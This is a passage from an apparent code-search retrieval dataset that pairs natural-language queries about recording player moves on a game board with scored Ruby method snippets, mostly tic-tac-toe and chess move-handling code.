"docid": "bb256b203f9964a74e0b6af1a8ee5ff1",
"score": "0.5094596",
"text": "def cohort_possible?\n @cohort_possible_query\n end",
"title": ""
}
] |
37fa31f7d71a3b09f9ff666e689697d7
|
receives player move and mark records player mark on gameboard
|
[
{
"docid": "a39eec487a6d6597ef15f0c161ba3ae3",
"score": "0.69227046",
"text": "def mark_board(move, curr_player_mark)\n self.squares[move] = curr_player_mark\n end",
"title": ""
}
] |
[
{
"docid": "9e89270d0a481bd9227c3b652cc887a8",
"score": "0.69444346",
"text": "def player_moved\n\t\t\t# Record their move\n\t\t\trecord_last_action\n\t\t\t# Send each player an event notification\n\t\t\tsend_each_player(:player_moved)\n\t\tend",
"title": ""
},
{
"docid": "384b9081439f8a3dde72a1e38e5683f1",
"score": "0.688081",
"text": "def move_and_record( move )\n #lift your piece off the square\n @piece_last_moved_from_coord = move.from_coord\n @piece_last_moved = delete(move.from_coord) \n \n #store any captured piece and the coordinates we got them from\n if move.capture_coord\n @piece_captured = delete(move.capture_coord)\n @piece_captured_from_coord = move.capture_coord\n else\n @piece_captured = delete(move.to_coord)\n @piece_captured_from_coord = move.to_coord if @piece_captured\n end\n \n #play castling\n if(move.castled)\n kings_square = Position.new(move.to_coord)\n #the rook is 3 to the right or 4 to the left (whites view) for king/queenside\n @rook_castled_from_coord = (kings_square + [0, (kings_square.file_char=='g') ? 1 : -2]).to_sym\n @rook_castled_to_coord = (kings_square + [0, (kings_square.file_char=='g') ? -1 : 1]).to_sym\n @rook_castled = delete( rook_castled_from_coord )\n store( @rook_castled_to_coord, @rook_castled )\n end\n \n #if promotion we remove the pawn and place a new one \n if( move.promotion_piece ) \n @promoted_pawn = @piece_last_moved\n promoted_piece = Queen.new(@promoted_pawn.side)\n promoted_piece.instance_variable_set(:@which, :promoted)\n store( move.to_coord, promoted_piece )\n else\n #otherwise we just move your guy there\n store( move.to_coord, @piece_last_moved )\n end\n \n end",
"title": ""
},
{
"docid": "a3271fd1737a4811fedd7ef4aae8d93c",
"score": "0.68222725",
"text": "def record_player_move(x, y)\n x = x.to_i\n y = y.to_i\n return false if @board[x][y]\n @board[x][y] = player_symbol\n @last_player_move = [x, y]\n true\n end",
"title": ""
},
{
"docid": "46d1e4ae7142e25ef9d9996778d538c6",
"score": "0.6816388",
"text": "def player_moved\n\t\tend",
"title": ""
},
{
"docid": "28315d30cc0adcc9a709550ff3cb424b",
"score": "0.68109924",
"text": "def mark_player_move(position, symbol)\n @game_cells[position] = marker\n end",
"title": ""
},
{
"docid": "04ef900137d1886e21f238e163ddcfa8",
"score": "0.6778563",
"text": "def user_move\n\t\t\tprint \"Player #{player_num}, which row to place your marker on: \"\n\t\t\trow = gets.chomp.to_i\n\t\t\tprint \"Player #{player_num}, which column to place your marker on: \"\n\t\t\tcolumn = gets.chomp.to_i\n\t\t [row, column]\n\tend",
"title": ""
},
{
"docid": "8474bc014af749e1158d8943c54f59f2",
"score": "0.6756668",
"text": "def log_move(move, mark)\n\t\t@move_counter += 1\n\t\t@board_hash[move] = mark\n\tend",
"title": ""
},
{
"docid": "12d56652aa1e524487940e4a8c6d4924",
"score": "0.67279184",
"text": "def receive_move(move)\n square_id = validate_square_id(move[:square_id])\n player_mark = move[:player_mark]\n selected_square = @marks_array[square_id]\n selected_square.change_mark(player_mark)\n selected_square\n end",
"title": ""
},
{
"docid": "61f747d1de8595a4ab80abfb1ef390ea",
"score": "0.66987306",
"text": "def put_mark\n\t\tplayer_choices\t\t\n\t\t# puts \"turn : #{@turn}\"\n\t\t@arr[@position - 1] = what_mark\n\t\t# puts \"arr : #{@arr}\"\n\t\tset_board @arr\n\t\tputs @board\n\t\t@turn += 1\n\tend",
"title": ""
},
{
"docid": "f788004edc9c05c478b7c9c8081ae96f",
"score": "0.6689983",
"text": "def indicate_turn(player)\n\n end",
"title": ""
},
{
"docid": "74118fb0a9d688ffc83fa67bcaeebe87",
"score": "0.66165006",
"text": "def player_move(pMark)\ncolumn=0\nuntil column>0 && column <8\ncolumn=user_choice.to_i\nend\n@position=set_marker(pMark,column)\nend",
"title": ""
},
{
"docid": "dda2971438628add259d162af41db6c4",
"score": "0.6542642",
"text": "def onalg_player_has_moved(player,color, start_x, start_y, end_x, end_y)\r\n if player != @alg_player\r\n start_col = BoardInfoItem.column_to_s(start_x).upcase\r\n start_rank = start_y + 1\r\n fin_col = BoardInfoItem.column_to_s(end_x).upcase\r\n fin_rank = end_y + 1\r\n @huo_alg.set_human_move(start_col, start_rank, fin_col, fin_rank)\r\n end\r\n end",
"title": ""
},
{
"docid": "c54f068f3e15b3438041bda02d5d5275",
"score": "0.6535692",
"text": "def take_a_turn(player)\n\n puts \"\\n#{player.name}, please type in the coordinates for where you want to place your marker\"\n\n location = gets.chomp\n location = tested_input(location, 'take_a_turn')\n place_marker(location, player.marker)\n\n player.marker_history << location\n player.add_to_master_history(location)\n\n show_board\n puts \"\\n#{player.name} placed their marker at #{location}\"\n\n between_turns(player)\nend",
"title": ""
},
{
"docid": "c55cf32e65cc6a4cfc3d43a984b4b3a8",
"score": "0.65269554",
"text": "def move(player)\n movement = player.move\n fila = movement[0].to_i - 1\n columna = movement[1].to_i - 1\n if(check_pos?(fila,columna))\n @tablero[fila][columna] = player.mark\n end\n dibuja_tablero(@tablero)\n end",
"title": ""
},
{
"docid": "2b7c392376f98b36dcc576e041852683",
"score": "0.6517723",
"text": "def mark_tile(player_mark, position)\n @field[position] = player_mark\n @all_moves << position\n end",
"title": ""
},
{
"docid": "10962cd7a62058100e6a50c861e4ee24",
"score": "0.65118974",
"text": "def onalg_player_has_moved(player,move)\n if player != @alg_player\n \n end\n end",
"title": ""
},
{
"docid": "a094839c8baa5cf0694810182612d17d",
"score": "0.6489114",
"text": "def player_move\n pm = get_player_move.to_sym\n \n if spot_taken? pm\n player_move\n else\n @board[pm] = player_symbol\n @whose_turn = :computer\n pm\n end\n end",
"title": ""
},
{
"docid": "e0de1b20fa1ac13b0a11a4f659d5ee13",
"score": "0.6464507",
"text": "def update(move, player)\n cells[move.to_i - 1] = player.token\n end",
"title": ""
},
{
"docid": "a2896ddcedee664f9d3a199abaebf3eb",
"score": "0.6446062",
"text": "def game_mech\n\n puts current_player_turn == 1 ? \"#{player1.name} where would you like to place your mark\" : \"#{player2.name} where would you like to place your mark\"\n player_move = gets.chomp.to_i\n # if the board cant find the position re run function\n if !game_board.board[0].include?(player_move) && !game_board.board[1].include?(player_move) && !game_board.board[2].include?(player_move)\n puts \"error\"\n game_mech\n else\n # if it finds the position go through the items in board and change it to the player mark\n \n game_board.board.each_with_index do |row, row_index|\n game_board.board[row_index].each_with_index do |row_item, row_item_index|\n if row_item == player_move\n @game_board.board[row_index][row_item_index] = ( current_player_turn==1 ? player1.token : player2.token)\n if winning_horizontal || winning_diagonal || winning_vertical\n current_player_turn == 1 ? winner = @player1 : winner = @player2\n return puts \"Congrats #{winner.name} You have won!\" \n end\n\n if empty?\n return puts \"GAME IS OVER IT IS A DRAW!\"\n end\n \n end\n \n end\n end\n current_player_turn == 1? @current_player_turn = 2 : @current_player_turn = 1 \n self.display_board\n # puts @game_board.check_horizontal\n game_mech\n end\n end",
"title": ""
},
{
"docid": "03406573bc359af943e9899ce7a7006a",
"score": "0.64245325",
"text": "def current_player_moves\n if human_turn?\n human_moves\n @current_marker = COMPUTER_MARKER\n else\n computer_moves\n @current_marker = HUMAN_MARKER\n end\n end",
"title": ""
},
{
"docid": "3aefaf407f64c02e92269dcb927109ba",
"score": "0.6422864",
"text": "def make_move(player, move)\n current_game.set_player(move, player)\n self.view.give_feedback(move, player)\n end",
"title": ""
},
{
"docid": "d04c47b0393762276c3c815c76f38ddf",
"score": "0.64091396",
"text": "def move(board)\n \tuser_move\n\tend",
"title": ""
},
{
"docid": "41f56366bc76fcc1439fd16ad43da745",
"score": "0.640355",
"text": "def mark_player_move(position, symbol)\n @game_cells[(position-1)] = symbol\n end",
"title": ""
},
{
"docid": "758b6ad43bb2556042f8464564c330dc",
"score": "0.63904226",
"text": "def update_board_with_player_move(move) # => ['R', [0, 0]]\n if move[0] == 'R'\n grid[move[1][0]][move[1][1]].reveal_tile(move[1])\n elsif move[0] == 'F'\n grid[move[1][0]][move[1][1]].flag_tile\n end\n end",
"title": ""
},
{
"docid": "8aaf3076df175593607fceb02b92678e",
"score": "0.63840187",
"text": "def move(player, currentSpot, newSpot)\nend",
"title": ""
},
{
"docid": "66170d9eaddb688070633f7429de9e08",
"score": "0.6383125",
"text": "def computer_makes_move(board, computer_marker,human_marker)\r\n coord=computer_move(board, computer_marker,human_marker)\r\n board[coord[0]][coord[1]]=computer_marker\r\n 2.times{puts}\r\n display_board(board)\r\n end",
"title": ""
},
{
"docid": "d1f8414e3604daa683fcab2dab8517a1",
"score": "0.6377105",
"text": "def place_player_mark(board,pos,player)\n row = (pos - 1) / 3\n column = (pos - 1) % 3\n board[row][column] = player\nend",
"title": ""
},
{
"docid": "41737d5be0b25ba9700e86434c086e17",
"score": "0.6367594",
"text": "def pre_switch_processing(player_id)\n $game_player.update_location\n end",
"title": ""
},
{
"docid": "507a137963bf82a2ae33246e9ba28ef0",
"score": "0.63668275",
"text": "def moves\n \n end",
"title": ""
},
{
"docid": "f99efb0513c4011d12e79c00dbda955e",
"score": "0.6336324",
"text": "def player_move(player, position) \n\t\[email protected]_array.each{|b_case| b_case.value = player.symbol if b_case.position == position}\n\tend",
"title": ""
},
{
"docid": "2ec9ab30d4e45f42287bb4b3c4b99036",
"score": "0.632465",
"text": "def play(new_mark)\n init_table if self.table.empty?\n\n indices = new_mark.split(',').map{|i| i.to_i}\n\n self.table[indices.first][indices.last] = 'X'\n\n if user_won?\n @winner = \"Usuario gano\"\n else\n #let server play\n server_play\n @winner = \"Server gano\" if server_won?\n end\n self.save!\n end",
"title": ""
},
{
"docid": "7182b630c89fe8e25356f3be11ff43cc",
"score": "0.6315688",
"text": "def add_marker\n p \"Player \" + @current_player +\": Select Coordinates\"\n row = validate_row\n update_col(row)\n print_board\nend",
"title": ""
},
{
"docid": "1d8fd448d3063383103fead1ae765738",
"score": "0.6302361",
"text": "def update(move, player)\n cells[move.to_i-1] = player.token\nend",
"title": ""
},
{
"docid": "c6d2152eaeb42ad1ec6cb536501d6fbe",
"score": "0.629409",
"text": "def player_turn\n draw_computer_board(@computer_board)\n puts \"You have \" + self.player_moves.to_s + \" moves left. Select a new target coordinate! \"\n target_coordinate = get_coordinate()\n puts \"Firing . . .\"\n countdown()\n check_hit(@coordinate, @computer_board)\n check_win(@player)\n @player_moves -= 1\n @current_player = @computer\n end",
"title": ""
},
{
"docid": "8596f7f3f076eae6a2e495fc31a02dab",
"score": "0.6292585",
"text": "def game_play\n create_board\n choose_marker\n print_board\n until @is_winner\n add_marker\n turn\n end\nend",
"title": ""
},
{
"docid": "d05f0d4d6dbf6956a04f6fda40834a22",
"score": "0.6287547",
"text": "def turn\n player = current_player\n current_move = player.move(@board)\n if [email protected]_move?(current_move)\n turn\n else\n puts \"Turn: #{@board.turn_count+1}\\n\"\n @board.display\n @board.update(current_move, player)\n puts \"#{player.token} moved #{current_move}\"\n @board.display\n puts \"\\n\\n\"\n\n end\nend",
"title": ""
},
{
"docid": "021be46315f8c43e28cd17c629f81929",
"score": "0.6279151",
"text": "def make_game_in_progress(player_mark, board_shorthand)\n ttt.update_board(board_shorthand)\n ttt.user_player = player_mark\n ttt.state = :playing\n end",
"title": ""
},
{
"docid": "43708e3502b17606812dc9798aaca714",
"score": "0.6270147",
"text": "def update_transfer_player\n if !Layy_Meta.active\n update_transfer_player_mgc_lm\n elsif $game_player.transfer?\n Layy_Meta.check_translation_end(true)\n $game_player.update_lm_position\n $game_player.followers.each {|follower| follower.update_lm_position}\n update_transfer_player_mgc_lm\n end\n end",
"title": ""
},
{
"docid": "dee49bdb2c50395897e86ea45f756551",
"score": "0.62606406",
"text": "def move\r\n\t\t'moved passed'\r\n\tend",
"title": ""
},
{
"docid": "34e706ce84f3b427e3353644cc6bc5ec",
"score": "0.6257279",
"text": "def set_move move\n @board[move] = @player\n end",
"title": ""
},
{
"docid": "9bf4cd291357e3db157b871db4783a0b",
"score": "0.6253113",
"text": "def receive_move(data)\n\t\tPong.set_move(data)\n\tend",
"title": ""
},
{
"docid": "932120113bdd97178f0dab3a7030f9c0",
"score": "0.6236301",
"text": "def get_move(x_pos, o_pos, mark)\n # Use current mark (X/O) to determine current player, then call appropriate method to get position\n mark == \"X\" ? position = win_check(x_pos, o_pos) : position = win_check(o_pos, x_pos)\n end",
"title": ""
},
{
"docid": "04dfe64ce820dc8a6fca0ebedf539768",
"score": "0.6233529",
"text": "def player_turn\n\n display_player_board()\n\n coordinates = get_coordinates()\n\n selected_piece = get_selected_piece(coordinates)\n \n display_legal_moves(selected_piece)\n\n new_coordinates = get_coordinates()\n\n if valid_new_coordinates?(selected_piece, new_coordinates) != true\n puts 'Invalid Coordinates Entered. Please Try Again.'\n return player_turn\n end\n if new_coordinates_occupied_by_opponent?(new_coordinates) == true\n capture_opponent_piece(selected_piece, new_coordinates)\n end\n \n move_piece(selected_piece, new_coordinates)\n\n king_is_in_check?()\n\n display_player_board()\n\n display_captured_pieces()\n\n end",
"title": ""
},
{
"docid": "2df6d99cb008092f7d30cf84dfecd766",
"score": "0.622365",
"text": "def player_positions\n\n end",
"title": ""
},
{
"docid": "5f0e6400dca9116f632e6986e7096087",
"score": "0.62124157",
"text": "def move\n debug 'guessing hacker1'\n @sock.write \"\\000\"\n @last_move = {:chosen => @hacker_id1, :not_chosen => @hacker_id2}\n end",
"title": ""
},
{
"docid": "f688eaabf7309e81e7c808fb22974db9",
"score": "0.6210079",
"text": "def write_player_moved(p)\n\t\t\t\thash = {}\n\t\t\t\thash[:last_player_to_act] = p.game.last_player_to_act_obj.to_hash\n\t\t\t\twrite(hash, 'player_moved')\n\t\t\tend",
"title": ""
},
{
"docid": "f1507b0abef0def2a07fb9d81b88cdb0",
"score": "0.62055117",
"text": "def move(move)\n @moves << move\n @feedback << get_feedback(move)\n @player_turns += 1\n end",
"title": ""
},
{
"docid": "6c96a7831ae2302a8b501234ec446667",
"score": "0.61973935",
"text": "def add_move move, player\n\t\t@state[move - 1] = player\n\tend",
"title": ""
},
{
"docid": "f58ffb3509ae379ad11f92743d613b0a",
"score": "0.6195857",
"text": "def submit player, move\n if move['type'] == 'play'\n x,y = move['loc']\n return false if (@board[x.to_i][y.to_i] != nil) || (player != current_player)\n @board[x.to_i][y.to_i] = player\n @current_turn+=1\n puts \"CURRENT PLAYER IS #{current_player}\"\n {'type' => 'play_square', 'player' => player, 'x' => x, 'y' => y, 'next_player' => current_player, 'next_turn' => @current_turn }\n else\n nil;\n end\n end",
"title": ""
},
{
"docid": "ca8626e664fe483842b7f319c56d41fd",
"score": "0.61900574",
"text": "def player_to_move; self.send(self.next_to_move); end",
"title": ""
},
{
"docid": "893535e0197e38eba06a44cd3f553672",
"score": "0.61728024",
"text": "def mark(player, other_player, *positions)\n if player.is_a? NonHumanPlayer\n row, column = find_best_position(player, other_player)\n @board[row][column] = player.marker\n else\n positions.each do |position|\n column, row = Board.retrieve_position(position)\n fail OverwriteError unless @board[row][column] == ' '\n @board[row][column] = player.marker\n end\n end\n end",
"title": ""
},
{
"docid": "92858c03307f841019aa01f31d9bdb9b",
"score": "0.61488587",
"text": "def move(move, player=\"X\")\n @board[move] = player\n end",
"title": ""
},
{
"docid": "3ceaf02f3347491f90a3665cc80b2d76",
"score": "0.61406827",
"text": "def show_computer_move(player)\n puts \"#{player.name}, what move?\"\n puts player.move\n end",
"title": ""
},
{
"docid": "b568ab1b6128eceeebf686cb174792dc",
"score": "0.61329526",
"text": "def player_moves(player, move)\n raise \"player moved in stopped game\" if finished?\n raise \"player moved when not its turn\" if player_in_turn != player\n \n cont = other_player.notify_move unless @players[0] == @players[1]\n @observers.each { |obs| obs.notify_move(move) }\n\n do_board_move(move)\n switch_side(cont)\n end",
"title": ""
},
{
"docid": "4a247754c8ba645fc03d792777f2409c",
"score": "0.61171776",
"text": "def apply_move_xy( x, y, g )\n player = 2\n if g[\"firstToPlay\"] then\n player = 1\n end\n g[\"cases\"][x][y] = player\n g[\"firstToPlay\"] = !g[\"firstToPlay\"]\n end",
"title": ""
},
{
"docid": "eead35ba3024958e3343b730a787f545",
"score": "0.6107804",
"text": "def update_game_board(game_board, position, marker)\n\tgame_board[position] = marker\n\tgame_board\nend",
"title": ""
},
{
"docid": "991d6b67802a1a07b5ea0f9bb1064f17",
"score": "0.6097633",
"text": "def move!\n puts \"dbg: move\" \n status = \"moved\"\n save!\n end",
"title": ""
},
{
"docid": "e1859e9b6e575875a02f642dae5a7bd0",
"score": "0.6057211",
"text": "def move(newPt, flag)\n # check to make sure the parameter does not have\n # negative components\n if (newPt.x >= 0) and (newPt.y >= 0)\n\t #@pastRecentLocation = @mostRecentLocation\n @mostRecentLocation = @currentLocation\n @currentLocation = newPt\n\t \n # move the flag's position when the player moves\n \t if (has_flag)\n \t flag.move(@mostRecentLocation)\n \t flag.setUpdate(true)\n \t end \n end\n end",
"title": ""
},
{
"docid": "fe8cb796cfcb990ffb3dfc619f8cf2e2",
"score": "0.6050946",
"text": "def update_board(player_name,move,board)\n\tsimbol=\"\"\n\n\tif player_name==\"player\"\n\t\tsimbol=\"X\"\n\telse\n\t\tsimbol=\"O\"\n\tend\n\n\tboard[move]=simbol\n\tboard\nend",
"title": ""
},
{
"docid": "40d1a785b3f22bf6236087535568e0b5",
"score": "0.60412973",
"text": "def move\n\n end",
"title": ""
},
{
"docid": "c6c535f4064100fc11f2a112605661f3",
"score": "0.6029588",
"text": "def gameplay\n\t\tplayer_names\n\t\tloop do\n\t\t\t@move_count += 1 \n\t\t\tdisplay_board\n\t\t\tmake_your_move\n\t\t\tcheck_winning_combos\n\t\t\tswitch_player\n\t\tend\n\tend",
"title": ""
},
{
"docid": "84b31edbda78d98d6f6a20996d5f673b",
"score": "0.6028235",
"text": "def mark(move, mark)\n @state[move[0]][move[1]] = mark\n end",
"title": ""
},
{
"docid": "a93f5b63f54bd9b3d651adbeb51fb4ab",
"score": "0.6021848",
"text": "def make_move(move)\n @current_state = next_state(@current_state, move)\n # Save new state to database\n export\n p \"Current player is now #{@current_state[:player]}\"\n end",
"title": ""
},
{
"docid": "bc6ec7dfc0843a6bb2bba463b81068ac",
"score": "0.60184366",
"text": "def apply_move!(position)\n board_will_change!\n\n x, y = position\n board[x, y] = current_player\n self.current_player = next_player\n\n save\n end",
"title": ""
},
{
"docid": "2185d44029525362aec955d6c572a310",
"score": "0.6014542",
"text": "def set_state(move)\n\t\n\t# update board state\n\t$board[move.x][move.y] = move.player\n\t\n\t# print board for debugging\n\tprint_state\n\t\nend",
"title": ""
},
{
"docid": "681d49d25559b848885c7ce26a396cfd",
"score": "0.60132873",
"text": "def play\n \t #p \"Game started with #{@players} --------\"\n players_starting_positions = @players.map{0} #empty array basedon user \n starting_player = rand(@players.length) # 0,1,2\n winner = move(players_starting_positions, starting_player)\n puts \"Game started between these #{@players} players ----and---- #{@players[winner]} is winner!\"\n end",
"title": ""
},
{
"docid": "4736e640ef899857f529badacb9f4cb5",
"score": "0.59946483",
"text": "def make_move(player_token,player_column)\r\n # reverse is used because the board is filled bottom up\r\n @board.reverse.each do |row|\r\n if row[player_column] == 'x'\r\n row[player_column] = player_token\r\n break\r\n end\r\n end\r\n # display the board positions after each move\r\n self.display_board\r\n # Check for victory after each move.\r\n if check_win(player_token,player_column)\r\n return true\r\n else\r\n return false\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "d44a52facfc60b905cd50520efa64854",
"score": "0.5991715",
"text": "def user_move (move_way)\n @move_way = move_way\n if @move_way == \"w\"\n @x_point = @x_point -1\n end\n if @move_way == \"a\"\n @y_point = @y_point -1\n end\n if @move_way == \"s\"\n @x_point = @x_point +1\n end\n if @move_way == \"d\"\n @y_point = @y_point +1\n end\n end",
"title": ""
},
{
"docid": "a6390c82871c3e6cfdedf725721948e4",
"score": "0.5991495",
"text": "def update_turn(from_coordinate, to_coordinate, team)\n history_of_pieces << [from_coordinate[0], from_coordinate[1], to_coordinate[0], to_coordinate[1]]\n unless second_jump(team, to_coordinate[0], from_coordinate[0], to_coordinate)\n self.turn += 1\n end\n save\n end",
"title": ""
},
{
"docid": "55abe7ab068905704a998ff557d3ae58",
"score": "0.5990571",
"text": "def make_move\n player = $game.get_player(params[:player_id])\n previous = player.location_id\n location_id = params[:location_id]\n valid_move = nil\n error = nil\n if $game.game_in_play && player.player_in_turn\n valid_move = $game.game_board.move_player(player, location_id)\n if valid_move\n #Move does not end game\n #$game.update_player_in_turn(player)\n # TODO ==== ADD *CHECK BOARD LOGIC* FOR WINNER HERE\n else\n error = \"Invalid move. Room not available.\"\n end\n else\n error = \"Game is not in play, or it is not the player's turn.\"\n end\n if valid_move\n render json: {success: true}\n player.previous_moves.push({ :player => player.id, :move => \"move\", :status => {:from => previous, :to => location_id}})\n else\n render json: {error: error}, status: 400\n end\n end",
"title": ""
},
{
"docid": "55c1fda73bc5bdc52e22422f808889b0",
"score": "0.5981344",
"text": "def make_move(square_id)\n { square_id: square_id, player_mark: @mark }\n end",
"title": ""
},
{
"docid": "a8939a87af939d0cceb98276dfea0487",
"score": "0.5973263",
"text": "def make_move(player, point) \n co = locate(point)\n @grid[co[0]][co[1]] = player\n end",
"title": ""
},
{
"docid": "e15db9ea486c2c20f6e4f140b6839c27",
"score": "0.5972604",
"text": "def player_turn(player)\n puts \"it's time for #{player.name} to play\"\n puts \"Here is the current game\"\n show.status\n move = choice(player)\n p \"move\"\n p move\n board.insert(player,move)\n puts \" here is the new board\"\n show.status\n end",
"title": ""
},
{
"docid": "a0885275c7c6fa1a6089ce557e8121a2",
"score": "0.5969305",
"text": "def board_update(board, position, marker)\r\n\t# puts the marker into the board position.\r\n\tboard[position] = marker\r\n\t# restates the board.\r\n\tboard \r\nend",
"title": ""
},
{
"docid": "bddd0e184d2a9c1d60dffb99a74940a7",
"score": "0.5965872",
"text": "def update(position, player)\n cells[position.to_i - 1] = player.token\n end",
"title": ""
},
{
"docid": "fc55a3a2e7e837e0cf5da6cf87000295",
"score": "0.5964602",
"text": "def movement ; end",
"title": ""
},
{
"docid": "744c70569ae3ad3673883840d49251a5",
"score": "0.596192",
"text": "def do_move(player, place)\r\n @choices[player].push place \r\n @board.set(place, player)\r\n end",
"title": ""
},
{
"docid": "99a59a3d6eaba284ef916809a37b42f5",
"score": "0.59590733",
"text": "def get_move\n\tend",
"title": ""
},
{
"docid": "caed5eb190b470ff90c1c4bd1f44318a",
"score": "0.5955376",
"text": "def move\n @coordinates[1] += 1 if @rover_facing == 'N'\n @coordinates[0] += 1 if @rover_facing == 'E'\n @coordinates[1] -= 1 if @rover_facing == 'S'\n @coordinates[0] -= 1 if @rover_facing == 'W'\nend",
"title": ""
},
{
"docid": "63931121f69316b45567ec9c9dfb0348",
"score": "0.59520787",
"text": "def update!(mark, coords, raw = false)\n coords = translate_move(coords) unless raw\n @board[coords.first][coords.last] = mark\n end",
"title": ""
},
{
"docid": "7d7830ca71f8aee44124b458272f66ea",
"score": "0.59499586",
"text": "def move(player) # player = 1 or 2\n \n # update rotated board\n\n for i in (0...size)\n for j in (0...size)\n self.rboard[i][j] = self.board[size-1-j][i]\n end\n end\n \n # check if partial game\n if won?(1)\n puts \"*** Player 1 WINS IN #{turns_1} TURNS! ***\"\n elsif won?(2)\n puts \"*** PLAYER 2 WINS IN #{turns_2} TURNS! ***\"\n elsif game_over?\n puts \"*** TIE! ***\"\n else\n # is a partial game\n # identify opponent and player\n if player == 1\n marker = \"X\" \n opponent = 2\n end\n if player == 2\n marker = \"O\"\n opponent = 1\n end\n \n # prompt player to make their move\n \n print \"Player \" + player.to_s + \", make your move (row, column). Say EXIT to surrender: \"\n \n move = gets.chomp # expected in \"(i,j)\" format\n \n if move.upcase == \"EXIT\"\n puts \"*** Player \" + opponent.to_s + \" WINS BY DEFAULT! ***\"\n else\n mark_board(player,move)\n end\n end\n end",
"title": ""
},
{
"docid": "8cc530d769b0d029770cd92fef9eb90b",
"score": "0.59469116",
"text": "def do_move player, x, y\n\n if not does_context_allow_move(player) then return end\n\n move = Move.new(:title => \"Move (#{x}, #{y})\")\n move.player = player\n move.x_axis = x\n move.y_axis = y\n\n # check if move alreay played\n if move.move_available?(self) then\n self.moves << move\n else\n self.errors.add('move has already been taken', '')\n return\n end\n\n set_play_status player\n end",
"title": ""
},
{
"docid": "759a73bdde60dc0e93926bbc30bbf5e9",
"score": "0.59344023",
"text": "def player_turn(curr_player, opponent, ttt)\n avail_moves = ttt.open_squares(opponent.moves, curr_player.moves)\n \n #\n # CPU player processing\n #\n if curr_player.cpu == true \n node = Minimax.new [opponent.moves, curr_player.moves], avail_moves\n node.create_minimax_tree(ttt)\n next_move = node.select_computer_move\n input = next_move[0]\n puts \"CPU Turn: #{input}\"\n else # Human player processing\n input = valid_move(curr_player, avail_moves)\n return \"quit\" if input.downcase == \"quit\"\n end\n\n #\n # record and display move\n #\n ttt.mark_board(input.to_i, curr_player.mark)\n curr_player.move(input.to_i)\n ttt.display \n\n #\n # check for winner or draw status\n # \n if ttt.winner?(curr_player.moves) \n puts \"#{curr_player.name} wins!!\"\n return \"winner\"\n elsif ttt.draw?(curr_player.moves, opponent.moves) \n puts \"Game ends in draw.\"\n return \"draw\"\n end\nend",
"title": ""
},
{
"docid": "7bc278f1af0aa1191ad742de1288e029",
"score": "0.5934021",
"text": "def player_move\r\n move = player_input-1\r\n if cells[move] = \" \"\r\n cells[move] = @current_player.symbol\r\n else\r\n puts \" please choose other number, this one taken\"\r\n self.player_move\r\n end\r\n @current_player.taken_cells << move\r\n end",
"title": ""
},
{
"docid": "9feccafe12f4c1a54ea10433d3884ae9",
"score": "0.5933984",
"text": "def record_won_ball!\n @points += 1\n end",
"title": ""
},
{
"docid": "9feccafe12f4c1a54ea10433d3884ae9",
"score": "0.5933984",
"text": "def record_won_ball!\n @points += 1\n end",
"title": ""
},
{
"docid": "9feccafe12f4c1a54ea10433d3884ae9",
"score": "0.5933984",
"text": "def record_won_ball!\n @points += 1\n end",
"title": ""
},
{
"docid": "9feccafe12f4c1a54ea10433d3884ae9",
"score": "0.5933984",
"text": "def record_won_ball!\n @points += 1\n end",
"title": ""
},
{
"docid": "9feccafe12f4c1a54ea10433d3884ae9",
"score": "0.5933984",
"text": "def record_won_ball!\n @points += 1\n end",
"title": ""
},
{
"docid": "9feccafe12f4c1a54ea10433d3884ae9",
"score": "0.5933984",
"text": "def record_won_ball!\n @points += 1\n end",
"title": ""
},
{
"docid": "8a1607353d6b8fb23d724dbc2e7f313b",
"score": "0.5926599",
"text": "def gameplay\n turn = 1\n \n until board.won?\n puts \"TURN: #{turn}\"\n board.display\n board.place_mark(*player1.move(board), player1.marker)\n congratulations(player1)\n next if board.won?\n if turn > 4\n board.tie\n break\n end\n board.display\n board.place_mark(*player2.move(board), player2.marker)\n congratulations(player2)\n turn += 1\n end\n end",
"title": ""
},
{
"docid": "cb237ffc078a0f7790c9578357dbc747",
"score": "0.59258056",
"text": "def set_movement\n clear_board\n @board_array[@[email protected]][@point.x] = FACE_MAP[@toy.face]\n print_board\n end",
"title": ""
},
{
"docid": "842e8af9be5d1ee6dd4b499c5f4670af",
"score": "0.5921597",
"text": "def movement; end",
"title": ""
},
{
"docid": "842e8af9be5d1ee6dd4b499c5f4670af",
"score": "0.5921597",
"text": "def movement; end",
"title": ""
},
{
"docid": "85d30ed56a1fbd7714aa1f8522f1215b",
"score": "0.591933",
"text": "def transfer_player_begin\n Scheduler.start(:on_warp_start)\n if $game_map.map_id != $game_temp.player_new_map_id\n # Setting player coords to prevent glitch with events that triggers on player position\n $game_player.x = $game_temp.player_new_x\n $game_player.y = $game_temp.player_new_y\n # Load new map\n $game_map.setup($game_temp.player_new_map_id)\n end\n $game_temp.player_transferring = false # Moved here to prevent some event starting during warp process\n $game_player.moveto($game_temp.player_new_x, $game_temp.player_new_y)\n $game_player.direction = $game_temp.player_new_direction if $game_temp.player_new_direction != 0 && !$game_player.direction_fix\n $game_player.straighten\n $game_map.update\n end",
"title": ""
},
{
"docid": "31459158f4a054fef0dea0f3a4b61891",
"score": "0.5918804",
"text": "def player_move\n loop do\n player_coord = get_coord\n if valid_coord?(player_coord)\n if @board.add_turn(player_coord, @type)\n break\n end\n end\n\n end\n end",
"title": ""
},
{
"docid": "144325f73246b9e44d0eb338a7b62719",
"score": "0.5917718",
"text": "def move\n \n end",
"title": ""
},
{
"docid": "c728f40f98b3f7b6373bd8cdde553611",
"score": "0.59109086",
"text": "def make_move(coord, mark)\n if @state[coord]\n @state[coord] = mark\n @move_made = true\n else\n system('clear')\n puts \"\\n Uhhhhh... no.\"\n gets\n end\n end",
"title": ""
},
{
"docid": "ac5287df9e9a5c5b1292e50a0abf85ac",
"score": "0.590821",
"text": "def request_player_action\n\tplayer = 1\n\twhile true do\n\t\tpiece = pick_piece player\n\t\trow = get_row piece\n\t\tcolumn = get_column piece\n\t\tmovement = pick_movement(player, row, column)\n\t\tto_row = get_row movement\n\t\tto_column = get_column movement\n\t\tupdate_state(player, row, column, to_row, to_column)\n\t\tupdate_board\n\t\tplayer == 1? player = 2 : player = 1\n\tend\nend",
"title": ""
},
{
"docid": "d9f1bf97016ee253281365705a0be0da",
"score": "0.5907992",
"text": "def turn\n input = current_player.move(board)\n\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n turn\n end\n end",
"title": ""
}
] |
5a1579122dd0cfb39c2d5817951cfc3e
|
DELETE /time_entries/1 DELETE /time_entries/1.json
|
[
{
"docid": "60e37c0f41dbb7d6d12aa23c86327155",
"score": "0.7171503",
